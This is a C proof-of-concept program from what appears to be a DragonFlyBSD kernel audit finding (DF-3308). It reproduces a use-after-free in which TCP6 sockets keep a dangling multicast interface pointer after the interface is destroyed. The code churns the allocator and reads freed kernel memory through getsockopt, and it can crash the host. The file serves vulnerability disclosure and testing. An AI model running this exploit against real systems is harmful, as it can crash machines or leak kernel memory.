⬢ DragonFlyBSD Kernel Audit
DF-3308 / mif6.c
← back to finding ↓ download raw
/*
 * DF-3308 -- IPV6_MULTICAST_IF caches an unreferenced ifnet pointer in
 * in6p_moptions->im6o_multicast_ifp that is never purged for TCP6 pcbs.
 *
 * ip6_output.c:2253 stores ifp with no reference; the interface-detach
 * purge (in6_pcbpurgeif0, in6_pcb.c:688-756) is invoked ONLY for the
 * raw and udp pcb lists:
 *   sys/netinet6/in6_ifattach.c:818:  in6_pcbpurgeif0(&ripcbinfo, ifp);
 *   sys/netinet6/in6_ifattach.c:819:  in6_pcbpurgeif0(&udbinfo[0], ifp);
 * (no tcbinfo call).  ip6_ctloutput (ip6_output.c:1478) lets ANY socket
 * -- including TCP6 -- store IPV6_MULTICAST_IF into in6p_moptions.
 *
 * After the interface is destroyed the pointer dangles in the pcb.
 * Which TCP paths deref it:
 *   in6_src.c:572-575 (in6_pcbbind-ish scope resolution, multicast bind)
 *   ip6_output.c:408-409 (ip6_output multicast ifp, im6o passed)
 *   ip6_output.c:2496-2499 (IPV6_MULTICAST_IF getsockopt: reads
 *       im6o->im6o_multicast_ifp->if_index  <-- direct deref)
 * The getsockopt read is reachable for ANY TCP6 socket that set the
 * option, with no further preconditions: after the cached ifnet is
 * freed and its memory reused, getsockopt(IPV6_MULTICAST_IF) reads
 * if_index out of freed memory (info-leak of one int / UAF read).
 *
 * This PoC (run as root on the guest):
 *   1. create tap0, bring it up (gets a link-local v6 -> IFF_MULTICAST ok)
 *   2. TCP6 socket: setsockopt(IPV6_MULTICAST_IF, tap0 index)  -> ok
 *   3. getsockopt(IPV6_MULTICAST_IF) -> returns tap0 index
 *   4. destroy tap0
 *   5. getsockopt(IPV6_MULTICAST_IF) again -> deref of the freed ifnet:
 *      observe either the same stale index (memory not reused), a
 *      garbage index (reused memory), or a crash.
 *
 * Build: cc -O -o mif6 mif6.c
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet6/in6_var.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static int
get_index(int s)
{
	u_int idx = 0;
	socklen_t l = sizeof(idx);
	if (getsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &idx, &l) < 0) {
		printf("getsockopt(IPV6_MULTICAST_IF): %s\n", strerror(errno));
		return (-1);
	}
	return ((int)idx);
}

int
main(void)
{
	int s;
	u_int idx;

	if (geteuid() != 0) { fprintf(stderr, "root only (needs tap create/destroy)\n"); return (1); }
	system("ifconfig tap0 create 2>/dev/null; ifconfig tap0 up; sleep 1");
	idx = if_nametoindex("tap0");
	printf("tap0 index = %u (exists: %d)\n", idx, idx != 0);
	if (idx == 0) { perror("tap0"); return (1); }

	s = socket(AF_INET6, SOCK_STREAM, 0);
	if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &idx, sizeof(idx)) < 0) {
		printf("setsockopt(IPV6_MULTICAST_IF) on TCP6 socket: %s\n", strerror(errno));
		return (1);
	}
	printf("TCP6 socket: IPV6_MULTICAST_IF cached (setsockopt accepted)\n");
	printf("before destroy: getsockopt returns index %d\n", get_index(s));

	/* churn the M_IFNET zone a bit so the freed ifnet gets reused */
	system("for i in 1 2 3 4 5 6 7 8; do ifconfig tap1 create 2>/dev/null; "
	    "ifconfig tap1 destroy 2>/dev/null; done");

	system("ifconfig tap0 destroy; sleep 1");
	printf("tap0 destroyed; pcb purge list for TCP6 does not exist "
	    "(in6_ifattach.c:818-819 purges rip+udp only)\n");

	int r = get_index(s);
	printf("after destroy: getsockopt returns index %d (deref of freed ifnet)\n", r);
	if (r >= 0)
		printf("VERDICT: REPRODUCED -- stale im6o_multicast_ifp dereferenced "
		    "after interface destruction (returned %d, tap0 was %u)\n",
		    r, idx);
	close(s);
	return (0);
}